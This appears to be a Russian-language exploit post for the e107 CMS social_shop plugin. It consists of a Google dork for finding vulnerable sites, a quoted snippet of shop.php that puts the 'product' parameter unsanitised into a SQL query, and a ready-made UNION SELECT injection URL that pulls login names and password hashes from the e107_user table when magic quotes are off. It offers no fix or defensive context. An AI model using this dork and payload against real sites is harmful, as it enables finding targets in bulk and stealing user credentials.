гугл inurl:e107_plugins/social_shop/

SQL inj
[path]/e107_plugins/social_shop/shop.php

PHP код:

...elseif($_GET['product']) {
    $storedb->db_Select("ss_products","*", "product_id='".$_GET['product']."'");
    while($store_row = $storedb -> db_Fetch()) {
        if($store_row['product_approve'] == 0 && !ADMIN) {
            $ns->tablerender(SS_ERROR , "<div align='center'>".SS_ERRORMASSAGE."<a href='".e_SELF."?page=home'>".$pref['ss_store_name']."</a></div>".$credits);
            require_once(FOOTERF);
            exit;
        }
        else {
            $store_user = get_user_data($store_row['product_releaser']);
            $filesize = round((filesize("store/".$store_row['product_product']) / 1024));
            $product_description = str_replace("\n" ,"<br />" , $store_row['product_description']);        
            $store... 


Результат:
http://[host]/[path]/e107_plugins/social_shop/shop.php?product=-1'+union+select+1,concat_ws(0x3a,user_loginname,us er_password),3,4,5,6,7,8,9,10,11,12,13,14+from+e10 7_user--+

Условие: mg=off